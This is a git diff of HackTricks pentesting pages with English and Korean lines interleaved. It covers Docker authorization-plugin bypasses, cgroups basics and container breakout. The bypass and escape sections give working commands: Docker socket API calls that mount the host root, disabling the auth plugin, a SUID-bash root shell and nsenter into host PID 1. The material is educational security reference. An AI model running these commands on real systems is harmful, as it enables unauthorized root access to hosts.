Each request sent to the plugin **includes the authenticated user, the HTTP headers, and the request/response body**. Only the **user name** and the **authentication method** used are passed to the plugin. Most importantly, **no** user **credentials** or tokens are passed. Finally, **not all request/response bodies are sent** to the authorization plugin. Only those request/response bodies where the `Content-Type` is either `text/*` or `application/json` are sent.
플러그인에 전송된 각 요청은 **인증된 사용자, HTTP 헤더 및 요청/응답 본문**을 포함합니다. **사용자 이름**과 **사용된 인증 방법**만 플러그인에 전달됩니다. 가장 중요한 것은 **사용자 자격 증명**이나 토큰이 전달되지 않는다는 것입니다. 마지막으로, **모든 요청/응답 본문이** 권한 부여 플러그인에 전송되는 것은 아닙니다. `Content-Type``text/*` 또는 `application/json`인 요청/응답 본문만 전송됩니다.
For commands that can potentially hijack the HTTP connection (`HTTP Upgrade`), such as `exec`, the authorization plugin is only called for the initial HTTP requests. Once the plugin approves the command, authorization is not applied to the rest of the flow. Specifically, the streaming data is not passed to the authorization plugins. For commands that return chunked HTTP response, such as `logs` and `events`, only the HTTP request is sent to the authorization plugins.
HTTP 연결을 잠재적으로 탈취할 수 있는 명령(`HTTP Upgrade`), 예를 들어 `exec`와 같은 경우, 권한 부여 플러그인은 초기 HTTP 요청에 대해서만 호출됩니다. 플러그인이 명령을 승인하면, 나머지 흐름에는 권한 부여가 적용되지 않습니다. 특히, 스트리밍 데이터는 권한 부여 플러그인에 전달되지 않습니다. 청크된 HTTP 응답을 반환하는 명령, 예를 들어 `logs``events`와 같은 경우, HTTP 요청만 권한 부여 플러그인에 전송됩니다.
During request/response processing, some authorization flows might need to do additional queries to the Docker daemon. To complete such flows, plugins can call the daemon API similar to a regular user. To enable these additional queries, the plugin must provide the means for an administrator to configure proper authentication and security policies.
요청/응답 처리 중 일부 권한 부여 흐름은 Docker 데몬에 추가 쿼리를 수행해야 할 수 있습니다. 이러한 흐름을 완료하기 위해 플러그인은 일반 사용자와 유사하게 데몬 API를 호출할 수 있습니다. 이러한 추가 쿼리를 활성화하려면 플러그인이 관리자가 적절한 인증 및 보안 정책을 구성할 수 있는 수단을 제공해야 합니다.
## Several Plugins
## 여러 플러그인
You are responsible for **registering** your **plugin** as part of the Docker daemon **startup**. You can install **multiple plugins and chain them together**. This chain can be ordered. Each request to the daemon passes in order through the chain. Only when **all the plugins grant access** to the resource, is the access granted.
Docker 데몬 **시작**의 일환으로 **플러그인**을 **등록**하는 것은 귀하의 책임입니다. **여러 플러그인을 설치하고 함께 연결**할 수 있습니다. 이 체인은 순서가 있을 수 있습니다. 데몬에 대한 각 요청은 순서대로 체인을 통과합니다. **모든 플러그인이 리소스에 대한 접근을 허용**할 때만 접근이 허용됩니다.
# Plugin Examples
# 플러그인 예제
## Twistlock AuthZ Broker
The plugin [**authz**](https://github.com/twistlock/authz) allows you to create a simple **JSON** file that the **plugin** will be **reading** to authorize the requests. Therefore, it gives you the opportunity to control very easily which API endpoints can reach each user.
플러그인 [**authz**](https://github.com/twistlock/authz)는 **요청**을 **인증**하기 위해 **플러그인**이 **읽을** 간단한 **JSON** 파일을 생성할 수 있게 해줍니다. 따라서 각 사용자가 어떤 API 엔드포인트에 접근할 수 있는지를 매우 쉽게 제어할 수 있는 기회를 제공합니다.
This is an example that will allow Alice and Bob can create new containers: `{"name":"policy_3","users":["alice","bob"],"actions":["container_create"]}`
다음은 Alice와 Bob이 새로운 컨테이너를 생성할 수 있도록 허용하는 예입니다: `{"name":"policy_3","users":["alice","bob"],"actions":["container_create"]}`
In the page [route_parser.go](https://github.com/twistlock/authz/blob/master/core/route_parser.go) you can find the relation between the requested URL and the action. In the page [types.go](https://github.com/twistlock/authz/blob/master/core/types.go) you can find the relation between the action name and the action
페이지 [route_parser.go](https://github.com/twistlock/authz/blob/master/core/route_parser.go)에서 요청된 URL과 작업 간의 관계를 찾을 수 있습니다. 페이지 [types.go](https://github.com/twistlock/authz/blob/master/core/types.go)에서 작업 이름과 작업 간의 관계를 찾을 수 있습니다.
## Simple Plugin Tutorial
## 간단한 플러그인 튜토리얼
You can find an **easy to understand plugin** with detailed information about installation and debugging here: [**https://github.com/carlospolop-forks/authobot**](https://github.com/carlospolop-forks/authobot)
설치 및 디버깅에 대한 자세한 정보가 포함된 **이해하기 쉬운 플러그인**을 여기에서 찾을 수 있습니다: [**https://github.com/carlospolop-forks/authobot**](https://github.com/carlospolop-forks/authobot)
Read the `README` and the `plugin.go` code to understand how is it working.
`README``plugin.go` 코드를 읽어 작동 방식을 이해하세요.
# Docker Auth Plugin Bypass
# Docker Auth Plugin 우회
## Enumerate access
## 접근 열거
The main things to check are the **which endpoints are allowed** and **which values of HostConfig are allowed**.
확인해야 할 주요 사항은 **어떤 엔드포인트가 허용되는지**와 **어떤 HostConfig 값이 허용되는지**입니다.
To perform this enumeration you can **use the tool** [**https://github.com/carlospolop/docker_auth_profiler**](https://github.com/carlospolop/docker_auth_profiler)**.**
이 열거를 수행하기 위해 **도구** [**https://github.com/carlospolop/docker_auth_profiler**](https://github.com/carlospolop/docker_auth_profiler)**를 사용할 수 있습니다.**
## disallowed `run --privileged`
### Minimum Privileges
## 허용되지 않는 `run --privileged`
### 최소 권한
```bash
docker run --rm -it --cap-add=SYS_ADMIN --security-opt apparmor=unconfined ubuntu bash
```
### 컨테이너 실행 후 특권 세션 얻기
### Running a container and then getting a privileged session
In this case the sysadmin **disallowed users to mount volumes and run containers with the `--privileged` flag** or give any extra capability to the container:
이 경우 sysadmin은 **사용자가 볼륨을 마운트하고 `--privileged` 플래그로 컨테이너를 실행하는 것을 금지했거나** 컨테이너에 추가 권한을 부여하는 것을 금지했습니다:**
```bash
docker run -d --privileged modified-ubuntu
docker: Error response from daemon: authorization denied by plugin customauth: [DOCKER FIREWALL] Specified Privileged option value is Disallowed.
See 'docker run --help'.
```
However, a user can **create a shell inside the running container and give it the extra privileges**:
그러나 사용자는 **실행 중인 컨테이너 내에서 셸을 생성하고 추가 권한을 부여할 수 있습니다**:
```bash
docker run -d --security-opt seccomp=unconfined --security-opt apparmor=unconfined ubuntu
#bb72293810b0f4ea65ee8fd200db418a48593c1a8a31407be6fee0f9f3e4f1de
@ -81,42 +76,38 @@ docker exec -it ---cap-add=ALL bb72293810b0f4ea65ee8fd200db418a48593c1a8a31407be
# With --cap-add=SYS_ADMIN
docker exec -it ---cap-add=SYS_ADMIN bb72293810b0f4ea65ee8fd200db418a48593c1a8a31407be6fee0f9f3e4 bash
```
이제 사용자는 [**이전에 논의된 기술**](./#privileged-flag)을 사용하여 컨테이너에서 탈출하고 **호스트 내에서 권한을 상승**시킬 수 있습니다.
Now, the user can escape from the container using any of the [**previously discussed techniques**](./#privileged-flag) and **escalate privileges** inside the host.
## Mount Writable Folder
In this case the sysadmin **disallowed users to run containers with the `--privileged` flag** or give any extra capability to the container, and he only allowed to mount the `/tmp` folder:
## 쓰기 가능한 폴더 마운트
이 경우 시스템 관리자는 **사용자가 `--privileged` 플래그로 컨테이너를 실행하는 것을 금지**하거나 컨테이너에 추가 권한을 부여하지 않았으며, `/tmp` 폴더만 마운트하는 것을 허용했습니다:
```bash
host> cp /bin/bash /tmp #Cerate a copy of bash
host> docker run -it -v /tmp:/host ubuntu:18.04 bash #Mount the /tmp folder of the host and get a shell
docker container> chown root:root /host/bash
docker container> chmod u+s /host/bash
host> /tmp/bash
-p #This will give you a shell as root
-p #This will give you a shell as root
```
> [!NOTE]
> Note that maybe you cannot mount the folder `/tmp` but you can mount a **different writable folder**. You can find writable directories using: `find / -writable -type d 2>/dev/null`
> `/tmp` 폴더를 마운트할 수 없을 수도 있지만, **다른 쓰기 가능한 폴더**를 마운트할 수 있습니다. 쓰기 가능한 디렉토리는 다음을 사용하여 찾을 수 있습니다: `find / -writable -type d 2>/dev/null`
>
> **Note that not all the directories in a linux machine will support the suid bit!** In order to check which directories support the suid bit run `mount | grep -v "nosuid"` For example usually `/dev/shm` , `/run` , `/proc` , `/sys/fs/cgroup` and `/var/lib/lxcfs` don't support the suid bit.
> **리눅스 머신의 모든 디렉토리가 suid 비트를 지원하는 것은 아닙니다!** suid 비트를 지원하는 디렉토리를 확인하려면 `mount | grep -v "nosuid"`를 실행하세요. 예를 들어, 일반적으로 `/dev/shm`, `/run`, `/proc`, `/sys/fs/cgroup``/var/lib/lxcfs`는 suid 비트를 지원하지 않습니다.
>
> Note also that if you can **mount `/etc`** or any other folder **containing configuration files**, you may change them from the docker container as root in order to **abuse them in the host** and escalate privileges (maybe modifying `/etc/shadow`)
> 또한 **`/etc`** 또는 **구성 파일이 포함된** 다른 폴더를 **마운트할 수 있다면**, 도커 컨테이너에서 루트로 변경하여 **호스트에서 악용하고** 권한을 상승시킬 수 있습니다 (예: `/etc/shadow` 수정).
## Unchecked API Endpoint
The responsibility of the sysadmin configuring this plugin would be to control which actions and with which privileges each user can perform. Therefore, if the admin takes a **blacklist** approach with the endpoints and the attributes he might **forget some of them** that could allow an attacker to **escalate privileges.**
이 플러그인을 구성하는 sysadmin의 책임은 각 사용자가 수행할 수 있는 작업과 권한을 제어하는 것입니다. 따라서 관리자가 엔드포인트와 속성에 대해 **블랙리스트** 접근 방식을 취하면, 공격자가 **권한을 상승시킬 수 있는** 일부를 **잊어버릴 수 있습니다.**
You can check the docker API in [https://docs.docker.com/engine/api/v1.40/#](https://docs.docker.com/engine/api/v1.40/#)
도커 API를 확인할 수 있습니다: [https://docs.docker.com/engine/api/v1.40/#](https://docs.docker.com/engine/api/v1.40/#)
## Unchecked JSON Structure
### Binds in root
It's possible that when the sysadmin configured the docker firewall he **forgot about some important parameter** of the [**API**](https://docs.docker.com/engine/api/v1.40/#operation/ContainerList) like "**Binds**".\
In the following example it's possible to abuse this misconfiguration to create and run a container that mounts the root (/) folder of the host:
sysadmin이 도커 방화벽을 구성할 때 [**API**](https://docs.docker.com/engine/api/v1.40/#operation/ContainerList)의 "**Binds**"와 같은 **중요한 매개변수를 잊어버렸을 가능성이 있습니다.**\
다음 예제에서는 이 잘못된 구성을 악용하여 호스트의 루트 (/) 폴더를 마운트하는 컨테이너를 생성하고 실행할 수 있습니다:
```bash
docker version #First, find the API version of docker, 1.40 in this example
docker images #List the images available
@ -126,38 +117,30 @@ docker start f6932bc153ad #Start the created privileged container
docker exec -it f6932bc153ad chroot /host bash #Get a shell inside of it
#You can access the host filesystem
```
> [!WARNING]
> Note how in this example we are using the **`Binds`** param as a root level key in the JSON but in the API it appears under the key **`HostConfig`**
> 이 예제에서 **`Binds`** 매개변수를 JSON의 루트 수준 키로 사용하고 있지만 API에서는 **`HostConfig`** 키 아래에 나타나는 것을 주목하세요.
### Binds in HostConfig
Follow the same instruction as with **Binds in root** performing this **request** to the Docker API:
### HostConfig의 Binds
**루트의 Binds**와 동일한 지침을 따라 Docker API에 이 **요청**을 수행하세요:
```bash
curl --unix-socket /var/run/docker.sock -H "Content-Type: application/json" -d '{"Image": "ubuntu", "HostConfig":{"Binds":["/:/host"]}}' http:/v1.40/containers/create
```
### 루트의 마운트
### Mounts in root
Follow the same instruction as with **Binds in root** performing this **request** to the Docker API:
**루트의 바인드**와 동일한 지침을 따르며 Docker API에 이 **요청**을 수행합니다:
```bash
curl --unix-socket /var/run/docker.sock -H "Content-Type: application/json" -d '{"Image": "ubuntu-sleep", "Mounts": [{"Name": "fac36212380535", "Source": "/", "Destination": "/host", "Driver": "local", "Mode": "rw,Z", "RW": true, "Propagation": "", "Type": "bind", "Target": "/host"}]}' http:/v1.40/containers/create
```
### HostConfig의 마운트
### Mounts in HostConfig
Follow the same instruction as with **Binds in root** performing this **request** to the Docker API:
**root의 Binds**와 동일한 지침을 따르며 Docker API에 이 **요청**을 수행합니다:
```bash
curl --unix-socket /var/run/docker.sock -H "Content-Type: application/json" -d '{"Image": "ubuntu-sleep", "HostConfig":{"Mounts": [{"Name": "fac36212380535", "Source": "/", "Destination": "/host", "Driver": "local", "Mode": "rw,Z", "RW": true, "Propagation": "", "Type": "bind", "Target": "/host"}]}}' http:/v1.40/containers/cre
```
## Unchecked JSON Attribute
It's possible that when the sysadmin configured the docker firewall he **forgot about some important attribute of a parameter** of the [**API**](https://docs.docker.com/engine/api/v1.40/#operation/ContainerList) like "**Capabilities**" inside "**HostConfig**". In the following example it's possible to abuse this misconfiguration to create and run a container with the **SYS_MODULE** capability:
시스템 관리자가 도커 방화벽을 구성할 때 **"HostConfig"** 내의 **"Capabilities"**와 같은 [**API**](https://docs.docker.com/engine/api/v1.40/#operation/ContainerList) 매개변수의 중요한 속성을 **잊었을 가능성**이 있습니다. 다음 예제에서는 이 잘못된 구성을 악용하여 **SYS_MODULE** 권한을 가진 컨테이너를 생성하고 실행할 수 있습니다:
```bash
docker version
curl --unix-socket /var/run/docker.sock -H "Content-Type: application/json" -d '{"Image": "ubuntu", "HostConfig":{"Capabilities":["CAP_SYS_MODULE"]}}' http:/v1.40/containers/create
@ -167,14 +150,12 @@ docker exec -it c52a77629a91 bash
capsh --print
#You can abuse the SYS_MODULE capability
```
> [!NOTE]
> The **`HostConfig`** is the key that usually contains the **interesting** **privileges** to escape from the container. However, as we have discussed previously, note how using Binds outside of it also works and may allow you to bypass restrictions.
> **`HostConfig`**는 일반적으로 컨테이너에서 탈출하기 위한 **흥미로운** **권한**을 포함하는 키입니다. 그러나 이전에 논의한 바와 같이, 그 외부에서 Binds를 사용하는 것도 작동하며 제한을 우회할 수 있습니다.
## Disabling Plugin
If the **sysadmin** **forgotten** to **forbid** the ability to **disable** the **plugin**, you can take advantage of this to completely disable it!
## 플러그인 비활성화
**sysadmin**이 **플러그인**을 **비활성화**할 수 있는 능력을 **금지하는** 것을 **잊었다면**, 이를 이용하여 완전히 비활성화할 수 있습니다!
```bash
docker plugin list #Enumerate plugins
@ -186,10 +167,9 @@ docker plugin disable authobot
docker run --rm -it --privileged -v /:/host ubuntu bash
docker plugin enable authobot
```
플러그인을 **승격 후 다시 활성화하는 것을 잊지 마세요**, 그렇지 않으면 **docker 서비스가 재시작되지 않습니다**!
Remember to **re-enable the plugin after escalating**, or a **restart of docker service wont work**!
## Auth Plugin Bypass writeups
## Auth Plugin Bypass 작성물
- [https://staaldraad.github.io/post/2019-07-11-bypass-docker-plugin-with-containerd/](https://staaldraad.github.io/post/2019-07-11-bypass-docker-plugin-with-containerd/)

View File

@ -4,16 +4,13 @@
## Basic Information
**Linux Control Groups**, or **cgroups**, are a feature of the Linux kernel that allows the allocation, limitation, and prioritization of system resources like CPU, memory, and disk I/O among process groups. They offer a mechanism for **managing and isolating the resource usage** of process collections, beneficial for purposes such as resource limitation, workload isolation, and resource prioritization among different process groups.
**Linux Control Groups** 또는 **cgroups**는 CPU, 메모리 및 디스크 I/O와 같은 시스템 리소스를 프로세스 그룹 간에 할당, 제한 및 우선 순위를 지정할 수 있는 리눅스 커널의 기능입니다. 이는 리소스 제한, 작업 부하 격리 및 다양한 프로세스 그룹 간의 리소스 우선 순위 지정과 같은 목적을 위해 프로세스 컬렉션의 리소스 사용을 **관리하고 격리하는** 메커니즘을 제공합니다.
There are **two versions of cgroups**: version 1 and version 2. Both can be used concurrently on a system. The primary distinction is that **cgroups version 2** introduces a **hierarchical, tree-like structure**, enabling more nuanced and detailed resource distribution among process groups. Additionally, version 2 brings various enhancements, including:
**cgroups의 두 가지 버전**이 있습니다: 버전 1과 버전 2. 두 버전 모두 시스템에서 동시에 사용할 수 있습니다. 주요 차이점은 **cgroups 버전 2**가 **계층적이고 트리와 같은 구조**를 도입하여 프로세스 그룹 간의 리소스 분배를 보다 세밀하고 상세하게 할 수 있게 한다는 것입니다. 또한, 버전 2는 **새로운 리소스 컨트롤러**에 대한 지원, 레거시 애플리케이션에 대한 더 나은 지원 및 성능 향상과 같은 다양한 개선 사항을 가져옵니다.
In addition to the new hierarchical organization, cgroups version 2 also introduced **several other changes and improvements**, such as support for **new resource controllers**, better support for legacy applications, and improved performance.
Overall, cgroups **version 2 offers more features and better performance** than version 1, but the latter may still be used in certain scenarios where compatibility with older systems is a concern.
You can list the v1 and v2 cgroups for any process by looking at its cgroup file in /proc/\<pid>. You can start by looking at your shells cgroups with this command:
전반적으로 cgroups **버전 2는 버전 1보다 더 많은 기능과 더 나은 성능**을 제공하지만, 후자는 구형 시스템과의 호환성이 우려되는 특정 시나리오에서 여전히 사용될 수 있습니다.
프로세스의 cgroup 파일을 /proc/\<pid>에서 확인하여 v1 및 v2 cgroups를 나열할 수 있습니다. 이 명령어로 셸의 cgroups를 확인하는 것부터 시작할 수 있습니다:
```shell-session
$ cat /proc/self/cgroup
12:rdma:/
@ -28,63 +25,54 @@ $ cat /proc/self/cgroup
1:name=systemd:/user.slice/user-1000.slice/session-2.scope
0::/user.slice/user-1000.slice/session-2.scope
```
- **숫자 212**: cgroups v1, 각 줄은 다른 cgroup을 나타냅니다. 이들의 컨트롤러는 숫자 옆에 지정되어 있습니다.
- **숫자 1**: 또한 cgroups v1이지만 관리 목적으로만 사용되며(예: systemd에 의해 설정됨) 컨트롤러가 없습니다.
- **숫자 0**: cgroups v2를 나타냅니다. 컨트롤러가 나열되지 않으며, 이 줄은 cgroups v2만 실행하는 시스템에서 독점적입니다.
- **이름은 계층적이며**, 파일 경로를 닮아 서로 다른 cgroups 간의 구조와 관계를 나타냅니다.
- **/user.slice 또는 /system.slice**와 같은 이름은 cgroups의 분류를 지정하며, user.slice는 일반적으로 systemd에 의해 관리되는 로그인 세션을 위해, system.slice는 시스템 서비스를 위해 사용됩니다.
The output structure is as follows:
### cgroups 보기
- **Numbers 212**: cgroups v1, with each line representing a different cgroup. Controllers for these are specified adjacent to the number.
- **Number 1**: Also cgroups v1, but solely for management purposes (set by, e.g., systemd), and lacks a controller.
- **Number 0**: Represents cgroups v2. No controllers are listed, and this line is exclusive on systems only running cgroups v2.
- The **names are hierarchical**, resembling file paths, indicating the structure and relationship between different cgroups.
- **Names like /user.slice or /system.slice** specify the categorization of cgroups, with user.slice typically for login sessions managed by systemd and system.slice for system services.
### Viewing cgroups
The filesystem is typically utilized for accessing **cgroups**, diverging from the Unix system call interface traditionally used for kernel interactions. To investigate a shell's cgroup configuration, one should examine the **/proc/self/cgroup** file, which reveals the shell's cgroup. Then, by navigating to the **/sys/fs/cgroup** (or **`/sys/fs/cgroup/unified`**) directory and locating a directory that shares the cgroup's name, one can observe various settings and resource usage information pertinent to the cgroup.
파일 시스템은 일반적으로 **cgroups**에 접근하는 데 사용되며, 전통적으로 커널 상호작용에 사용되는 Unix 시스템 호출 인터페이스와는 다릅니다. 셸의 cgroup 구성을 조사하려면 **/proc/self/cgroup** 파일을 확인해야 하며, 이 파일은 셸의 cgroup을 보여줍니다. 그런 다음 **/sys/fs/cgroup** (또는 **`/sys/fs/cgroup/unified`**) 디렉토리로 이동하여 cgroup의 이름과 공유하는 디렉토리를 찾으면 cgroup과 관련된 다양한 설정 및 리소스 사용 정보를 관찰할 수 있습니다.
![Cgroup Filesystem](<../../../images/image (1128).png>)
The key interface files for cgroups are prefixed with **cgroup**. The **cgroup.procs** file, which can be viewed with standard commands like cat, lists the processes within the cgroup. Another file, **cgroup.threads**, includes thread information.
cgroups의 주요 인터페이스 파일은 **cgroup**으로 접두사가 붙습니다. **cgroup.procs** 파일은 표준 명령(cat 등)으로 볼 수 있으며, cgroup 내의 프로세스를 나열합니다. 또 다른 파일인 **cgroup.threads**는 스레드 정보를 포함합니다.
![Cgroup Procs](<../../../images/image (281).png>)
Cgroups managing shells typically encompass two controllers that regulate memory usage and process count. To interact with a controller, files bearing the controller's prefix should be consulted. For instance, **pids.current** would be referenced to ascertain the count of threads in the cgroup.
셸을 관리하는 cgroups는 일반적으로 메모리 사용량과 프로세스 수를 조절하는 두 개의 컨트롤러를 포함합니다. 컨트롤러와 상호작용하려면 컨트롤러의 접두사가 붙은 파일을 참조해야 합니다. 예를 들어, **pids.current**를 참조하여 cgroup 내의 스레드 수를 확인할 수 있습니다.
![Cgroup Memory](<../../../images/image (677).png>)
The indication of **max** in a value suggests the absence of a specific limit for the cgroup. However, due to the hierarchical nature of cgroups, limits might be imposed by a cgroup at a lower level in the directory hierarchy.
값에 **max**가 표시되면 cgroup에 대한 특정 제한이 없음을 나타냅니다. 그러나 cgroups의 계층적 특성으로 인해 디렉토리 계층의 하위 수준에 있는 cgroup에서 제한이 부과될 수 있습니다.
### Manipulating and Creating cgroups
Processes are assigned to cgroups by **writing their Process ID (PID) to the `cgroup.procs` file**. This requires root privileges. For instance, to add a process:
### cgroups 조작 및 생성
프로세스는 **`cgroup.procs` 파일에 프로세스 ID (PID)를 작성하여** cgroups에 할당됩니다. 이는 루트 권한이 필요합니다. 예를 들어, 프로세스를 추가하려면:
```bash
echo [pid] > cgroup.procs
```
Similarly, **modifying cgroup attributes, like setting a PID limit**, is done by writing the desired value to the relevant file. To set a maximum of 3,000 PIDs for a cgroup:
유사하게, **PID 제한을 설정하는 것과 같은 cgroup 속성을 수정하는** 것은 원하는 값을 관련 파일에 작성함으로써 수행됩니다. cgroup에 대해 최대 3,000개의 PID를 설정하려면:
```bash
echo 3000 > pids.max
```
**새 cgroup 생성**은 cgroup 계층 내에 새로운 하위 디렉토리를 만드는 것을 포함하며, 이는 커널이 필요한 인터페이스 파일을 자동으로 생성하도록 유도합니다. 활성 프로세스가 없는 cgroup은 `rmdir`로 제거할 수 있지만, 특정 제약 사항을 인지해야 합니다:
**Creating new cgroups** involves making a new subdirectory within the cgroup hierarchy, which prompts the kernel to automatically generate necessary interface files. Though cgroups without active processes can be removed with `rmdir`, be aware of certain constraints:
- **Processes can only be placed in leaf cgroups** (i.e., the most nested ones in a hierarchy).
- **A cgroup cannot possess a controller absent in its parent**.
- **Controllers for child cgroups must be explicitly declared** in the `cgroup.subtree_control` file. For example, to enable CPU and PID controllers in a child cgroup:
- **프로세스는 리프 cgroup에만 배치될 수 있습니다** (즉, 계층에서 가장 중첩된 것들).
- **cgroup은 부모에 없는 컨트롤러를 가질 수 없습니다**.
- **자식 cgroup의 컨트롤러는 `cgroup.subtree_control` 파일에 명시적으로 선언되어야 합니다**. 예를 들어, 자식 cgroup에서 CPU 및 PID 컨트롤러를 활성화하려면:
```bash
echo "+cpu +pids" > cgroup.subtree_control
```
**루트 cgroup**은 이러한 규칙의 예외로, 직접 프로세스를 배치할 수 있습니다. 이는 systemd 관리에서 프로세스를 제거하는 데 사용될 수 있습니다.
The **root cgroup** is an exception to these rules, allowing direct process placement. This can be used to remove processes from systemd management.
**cgroup 내에서 CPU 사용량 모니터링**은 `cpu.stat` 파일을 통해 가능하며, 총 CPU 시간 소비를 표시하여 서비스의 하위 프로세스에서 사용량을 추적하는 데 유용합니다:
**Monitoring CPU usage** within a cgroup is possible through the `cpu.stat` file, displaying total CPU time consumed, helpful for tracking usage across a service's subprocesses:
<figure><img src="../../../images/image (908).png" alt=""><figcaption><p>cpu.stat 파일에 표시된 CPU 사용 통계</p></figcaption></figure>
<figure><img src="../../../images/image (908).png" alt=""><figcaption><p>CPU usage statistics as shown in the cpu.stat file</p></figcaption></figure>
## 참고문헌
## References
- **Book: How Linux Works, 3rd Edition: What Every Superuser Should Know By Brian Ward**
- **책: How Linux Works, 3rd Edition: What Every Superuser Should Know By Brian Ward**
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -2,35 +2,24 @@
{{#include ../../../../banners/hacktricks-training.md}}
<figure><img src="../../../../images/image (48).png" alt=""><figcaption></figcaption></figure>
## 자동 열거 및 탈출
\
Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=docker-breakout-privilege-escalation) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
Get Access Today:
- [**linpeas**](https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS): 컨테이너를 **열거할 수 있습니다**
- [**CDK**](https://github.com/cdk-team/CDK#installationdelivery): 이 도구는 당신이 있는 컨테이너를 **열거하고 자동으로 탈출을 시도하는 데 유용합니다**
- [**amicontained**](https://github.com/genuinetools/amicontained): 탈출 방법을 찾기 위해 컨테이너가 가진 권한을 얻는 데 유용한 도구
- [**deepce**](https://github.com/stealthcopter/deepce): 컨테이너에서 열거하고 탈출하는 도구
- [**grype**](https://github.com/anchore/grype): 이미지에 설치된 소프트웨어에 포함된 CVE를 가져옵니다
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=docker-breakout-privilege-escalation" %}
## Automatic Enumeration & Escape
- [**linpeas**](https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS): It can also **enumerate containers**
- [**CDK**](https://github.com/cdk-team/CDK#installationdelivery): This tool is pretty **useful to enumerate the container you are into even try to escape automatically**
- [**amicontained**](https://github.com/genuinetools/amicontained): Useful tool to get the privileges the container has in order to find ways to escape from it
- [**deepce**](https://github.com/stealthcopter/deepce): Tool to enumerate and escape from containers
- [**grype**](https://github.com/anchore/grype): Get the CVEs contained in the software installed in the image
## Mounted Docker Socket Escape
If somehow you find that the **docker socket is mounted** inside the docker container, you will be able to escape from it.\
This usually happen in docker containers that for some reason need to connect to docker daemon to perform actions.
## 마운트된 Docker 소켓 탈출
어떤 방법으로든 **docker 소켓이** 도커 컨테이너 내부에 마운트되어 있다면, 당신은 그곳에서 탈출할 수 있습니다.\
이는 일반적으로 어떤 이유로 도커 데몬에 연결하여 작업을 수행해야 하는 도커 컨테이너에서 발생합니다.
```bash
#Search the socket
find / -name docker.sock 2>/dev/null
#It's usually in /run/docker.sock
```
In this case you can use regular docker commands to communicate with the docker daemon:
이 경우 일반적인 docker 명령어를 사용하여 docker 데몬과 통신할 수 있습니다:
```bash
#List images to use one
docker images
@ -44,14 +33,13 @@ nsenter --target 1 --mount --uts --ipc --net --pid -- bash
# Get full privs in container without --privileged
docker run -it -v /:/host/ --cap-add=ALL --security-opt apparmor=unconfined --security-opt seccomp=unconfined --security-opt label:disable --pid=host --userns=host --uts=host --cgroupns=host ubuntu chroot /host/ bash
```
> [!NOTE]
> **docker 소켓이 예상치 못한 위치에 있는 경우**에도 **`docker`** 명령어와 매개변수 **`-H unix:///path/to/docker.sock`**를 사용하여 여전히 통신할 수 있습니다.
Docker 데몬은 또한 [포트에서 수신 대기할 수 있습니다 (기본값 2375, 2376)](../../../../network-services-pentesting/2375-pentesting-docker.md) 또는 Systemd 기반 시스템에서는 Systemd 소켓 `fd://`를 통해 Docker 데몬과 통신할 수 있습니다.
> [!NOTE]
> In case the **docker socket is in an unexpected place** you can still communicate with it using the **`docker`** command with the parameter **`-H unix:///path/to/docker.sock`**
Docker daemon might be also [listening in a port (by default 2375, 2376)](../../../../network-services-pentesting/2375-pentesting-docker.md) or on Systemd-based systems, communication with the Docker daemon can occur over the Systemd socket `fd://`.
> [!NOTE]
> Additionally, pay attention to the runtime sockets of other high-level runtimes:
> 추가로, 다른 고급 런타임의 런타임 소켓에 주의하십시오:
>
> - dockershim: `unix:///var/run/dockershim.sock`
> - containerd: `unix:///run/containerd/containerd.sock`
@ -62,23 +50,21 @@ Docker daemon might be also [listening in a port (by default 2375, 2376)](../../
## Capabilities Abuse Escape
You should check the capabilities of the container, if it has any of the following ones, you might be able to scape from it: **`CAP_SYS_ADMIN`**_,_ **`CAP_SYS_PTRACE`**, **`CAP_SYS_MODULE`**, **`DAC_READ_SEARCH`**, **`DAC_OVERRIDE, CAP_SYS_RAWIO`, `CAP_SYSLOG`, `CAP_NET_RAW`, `CAP_NET_ADMIN`**
You can check currently container capabilities using **previously mentioned automatic tools** or:
컨테이너의 권한을 확인해야 하며, 다음 중 하나라도 있다면 탈출할 수 있을 것입니다: **`CAP_SYS_ADMIN`**_,_ **`CAP_SYS_PTRACE`**, **`CAP_SYS_MODULE`**, **`DAC_READ_SEARCH`**, **`DAC_OVERRIDE, CAP_SYS_RAWIO`, `CAP_SYSLOG`, `CAP_NET_RAW`, `CAP_NET_ADMIN`**
현재 컨테이너 권한을 확인하려면 **앞서 언급한 자동 도구**를 사용하거나:
```bash
capsh --print
```
In the following page you can **learn more about linux capabilities** and how to abuse them to escape/escalate privileges:
다음 페이지에서 **리눅스 기능에 대해 더 알아보고** 이를 악용하여 권한을 탈출/상승시키는 방법을 배울 수 있습니다:
{{#ref}}
../../linux-capabilities.md
{{#endref}}
## Escape from Privileged Containers
## 특권 컨테이너에서 탈출
A privileged container can be created with the flag `--privileged` or disabling specific defenses:
특권 컨테이너는 `--privileged` 플래그를 사용하거나 특정 방어 기능을 비활성화하여 생성할 수 있습니다:
- `--cap-add=ALL`
- `--security-opt apparmor=unconfined`
@ -90,51 +76,44 @@ A privileged container can be created with the flag `--privileged` or disabling
- `--cgroupns=host`
- `Mount /dev`
The `--privileged` flag significantly lowers container security, offering **unrestricted device access** and bypassing **several protections**. For a detailed breakdown, refer to the documentation on `--privileged`'s full impacts.
`--privileged` 플래그는 컨테이너 보안을 크게 낮추며, **제한 없는 장치 접근**을 제공하고 **여러 보호 기능**을 우회합니다. `--privileged`의 전체 영향에 대한 자세한 내용은 문서를 참조하십시오.
{{#ref}}
../docker-privileged.md
{{#endref}}
### Privileged + hostPID
### 특권 + hostPID
With these permissions you can just **move to the namespace of a process running in the host as root** like init (pid:1) just running: `nsenter --target 1 --mount --uts --ipc --net --pid -- bash`
Test it in a container executing:
이 권한으로 **루트로 호스트에서 실행 중인 프로세스의 네임스페이스로 이동**할 수 있습니다. 예를 들어 init (pid:1)로 이동하려면 다음을 실행하십시오: `nsenter --target 1 --mount --uts --ipc --net --pid -- bash`
컨테이너에서 다음을 실행하여 테스트하십시오:
```bash
docker run --rm -it --pid=host --privileged ubuntu bash
```
### Privileged
Just with the privileged flag you can try to **access the host's disk** or try to **escape abusing release_agent or other escapes**.
Test the following bypasses in a container executing:
